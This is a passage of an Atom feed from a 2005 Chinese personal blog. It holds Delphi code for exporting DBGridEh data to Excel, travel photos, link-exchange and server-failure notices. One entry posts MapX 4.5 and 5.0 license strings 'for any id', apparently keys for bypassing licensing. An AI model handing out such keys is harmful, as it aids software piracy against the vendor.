<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Prompt := TLabel.Create(Panel);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; with Prompt do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parent := Panel;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AutoSize := True;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Left := 25;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Top := 25;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Caption := '正在导出数据，请稍候......';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Font.Style := [fsBold];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FGauge := TGauge.Create(Panel);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; with FGauge do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parent := Panel;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ForeColor := clBlue;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Left := 20;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Top := 50;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Height := 13;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Width := 260;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MinValue := 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MaxValue := DBGridEh.DataSource.DataSet.RecordCount;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp; except</P>
<P>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; end;</P>
<P>&nbsp; FProgressForm.Show;<BR>&nbsp; FProgressForm.Update;<BR>end;</P>
<P>procedure TDBGridEhToExcel.SetDataSetCrossIndexDBGridEh;<BR>var<BR>&nbsp; i: integer;<BR>begin<BR>&nbsp; for i := 0 to DBGridEh.Columns.Count - 1 do<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; DBGridEh.DataSource.DataSet.FieldByName(DBGridEh.Columns.Items[i].FieldName).Index := i;<BR>&nbsp;&nbsp;&nbsp; DBGridEh.DataSource.DataSet.FieldByName(DBGridEh.Columns.Items[i].FieldName).DisplayLabel<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; := DBGridEh.Columns.Items[i].Title.Caption;<BR>&nbsp;&nbsp;&nbsp; DBGridEh.DataSource.DataSet.FieldByName(DBGridEh.Columns.Items[i].FieldName).Visible :=<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DBGridEh.Columns.Items[i].Visible;<BR>&nbsp; end;</P>
<P>&nbsp; for i := 0 to DBGridEh.DataSource.DataSet.FieldCount - 1 do<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; if POS('*****',DBGridEh.DataSource.DataSet.Fields[i].DisplayLabel) &gt; 0 then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DBGridEh.DataSource.DataSet.Fields[i].Visible := False;<BR>&nbsp; end;&nbsp; <BR>end;</P>
<P>end.<BR></P>
<P>/*****************************************************************/</P>
<P>调用的例子</P>
<P>var<BR>&nbsp; DBGridEhToExcel: TDBGridEhToExcel;<BR>begin<BR>&nbsp; DBGridEhToExcel := TDBGridEhToExcel.Create(nil);<BR>&nbsp; try<BR>&nbsp;&nbsp;&nbsp; DBGridEhToExcel.TitleName := '测试测试测试测试测试测试测试';<BR>&nbsp;&nbsp;&nbsp; DBGridEhToExcel.BeginDate := '开始日期：2005-07-01';<BR>&nbsp;&nbsp;&nbsp; DBGridEhToExcel.EndDate := '结束日期：2005-07-18';<BR>&nbsp;&nbsp;&nbsp; DBGridEhToExcel.UserName := '系统管理员';<BR>&nbsp;&nbsp;&nbsp; DBGridEhToExcel.DBGridEh := DBGridEh1;<BR>&nbsp;&nbsp;&nbsp; DBGridEhToExcel.ShowProgress := True;<BR>&nbsp;&nbsp;&nbsp; DBGridEhToExcel.FileName := 'c:\123.xls';<BR>&nbsp;&nbsp;&nbsp; DBGridEhToExcel.ExportToExcel;<BR>&nbsp; finally<BR>&nbsp;&nbsp;&nbsp; DBGridEhToExcel.Free;<BR>&nbsp; end;<BR></P></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=7" /> 
	  <id>http://www.openx.cn/default.asp?id=7</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[去了回上海]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2005-09-01T17:53:02+08:00</updated>
	  <published>2005-09-01T17:53:02+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]attachments/UploadFile0508/IMG_2991.JPG[/img]</P>
<P>上海博物馆</P>
<P>[img]attachments/UploadFile0508/IMG_2979.JPG[/img]</P>
<P>人民公园中的荷花</P>
<P>[img]attachments/UploadFile0508/IMG_2980.JPG[/img]</P>
<P>真美阿~</P>
<P>[img]attachments/UploadFile0508/IMG_3068.JPG[/img]</P>
<P>[img]attachments/UploadFile0508/IMG_3060.JPG[/img]</P>
<P>东方明珠</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=6" /> 
	  <id>http://www.openx.cn/default.asp?id=6</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[mapx 万能 ID]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-01T17:40:49+08:00</updated>
	  <published>2005-09-01T17:40:49+08:00</published>
		  <summary type="html"><![CDATA[<P>mapx 4.5 license for any id<BR>uqnzi2sfw22l0-mra8pyx-2i892o25-398e1347-540h8211-04740-08720-32 </P>
<P>mapx 5.0 license for any id<BR>uqnzi2sfw22l0-mra8pyx-2e6p1077-3n6m0499-5c038223-10884-12802-36882-8029</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=5" /> 
	  <id>http://www.openx.cn/default.asp?id=5</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[友情连接重新召集~~~~~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2005-08-31T17:59:44+08:00</updated>
	  <published>2005-08-31T17:59:44+08:00</published>
		  <summary type="html"><![CDATA[<P>呼呼~由于原服务器的问题~原数据全部丢失</P>
<P>只好重新召集友情连接~,呼呼~~~~</P>
<P>交换连接可以点:http://www.openx.cn/blogpostlinks.asp</P>
<P>或回复该日志我会每天审阅手动添加的.</P>
<P>名&nbsp;&nbsp;称: <INPUT onmouseover=this.focus() style="BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; BORDER-LEFT: #000000 1px solid; WIDTH: 150px; BORDER-BOTTOM: #000000 1px solid; HEIGHT: 18px" onfocus=this.select() value="Cxty's Blog" name=textfield><BR>地&nbsp;&nbsp;址: <INPUT onmouseover=this.focus() style="BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; BORDER-LEFT: #000000 1px solid; WIDTH: 150px; BORDER-BOTTOM: #000000 1px solid; HEIGHT: 18px" onfocus=this.select() value=http://www.openx.cn name=textfield><BR>图&nbsp;&nbsp;片: <INPUT onmouseover=this.focus() style="BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; BORDER-LEFT: #000000 1px solid; WIDTH: 150px; BORDER-BOTTOM: #000000 1px solid; HEIGHT: 18px" onfocus=this.select() value=http://www.openx.cn/images/logo.gif name=textfield></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=4" /> 
	  <id>http://www.openx.cn/default.asp?id=4</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[服务器硬盘出问题了~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2005-08-31T15:57:42+08:00</updated>
	  <published>2005-08-31T15:57:42+08:00</published>
		  <summary type="html"><![CDATA[<P>由于原日志的服务器硬盘坏了~原来日志所有数据全部丢失,希望HP能够把数据救回来~~~</P>
<P>心疼~无语中......&nbsp;&nbsp; <img src="http://www.openx.cn//images/smilies/icon_cry.gif">&nbsp;&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=3" /> 
	  <id>http://www.openx.cn/default.asp?id=3</id> 
  </entry>	
		
</feed>
